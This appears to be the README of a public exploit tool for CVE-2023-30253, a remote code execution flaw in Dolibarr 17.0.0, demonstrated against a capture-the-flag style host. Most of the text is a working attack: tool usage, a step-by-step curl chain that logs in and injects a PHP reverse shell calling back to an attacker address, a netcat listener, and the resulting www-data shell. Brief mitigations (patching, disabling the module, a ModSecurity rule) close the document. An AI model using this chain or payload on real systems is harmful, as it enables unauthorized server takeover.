// Vulnerable code (simplified) in Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
    // Blocks only "<?php" in exact lowercase... or not?
    die("PHP code detected!");
}

┌─────────────────────────────────────────────────────────┐
│                   CVE-2023-30253                       │
│                                                         │
│  1. Login          → Authenticate to Dolibarr           │
│  2. Create Website → Create an empty website            │
│  3. Create Page    → Create a page within the site      │
│  4. Inject Shell   → Inject PHP reverse shell           │
│  5. Trigger        → Execute the payload                │
│                                                         │
│  Result: 🎯 Reverse shell as www-data                   │
└─────────────────────────────────────────────────────────┘

pip install -r requirements.txt

# Clone the repository
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit

# Install dependencies
pip install -r requirements.txt

python exploit.py <target> <username> <password> <lhost> <lport> [options]

nc -lvnp 4444

python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose

════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════

  Target:   http://crm.board.htb
  User:     admin
  LHOST:    10.10.14.5
  LPORT:    4444
  Site ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] Step 1/5: Logging in...
[10:45:12]   ✓ Session started successfully

[10:45:13] Step 2/5: Creating website...
[10:45:13]   ✓ Website 's3a1f2bc' created

[10:45:13] Step 3/5: Creating page within the site...
[10:45:13]   ✓ Page created inside the site

[10:45:14] Step 4/5: Injecting reverse shell → 10.10.14.5:4444...
[10:45:14]   ✓ PHP code injected successfully

[10:45:14] Step 5/5: Executing payload (trigger)...

════════════════════════════════════════════════════════
  EXPLOITATION COMPLETED
════════════════════════════════════════════════════════

  Trigger URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc

  Instructions:
  1. In another terminal, start your listener:
     nc -lvnp 4444
  2. Access the Trigger URL (the exploit already did this)
  3. You will receive a reverse shell as www-data

Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Get cookies and CSRF token
curl -c cookies.txt http://crm.board.htb/ > /dev/null

# Extract token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

# Login
curl -b cookies.txt -c cookies.txt \
  -X POST "http://crm.board.htb/index.php?mainmenu=home" \
  -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"

TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?action=createsite" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"

TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"

TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "action=updatesource" \
  --data-urlencode "website=misitio" \
  --data-urlencode "PAGE_CONTENT=$PHP"

curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"

# Update to Dolibarr 17.0.1 or higher
# The patch fixes the filter to detect any variant of <?php

Home → Setup → Modules → Website → Disable

# Block any variant of PHP tags in the PAGE_CONTENT field
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
  "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"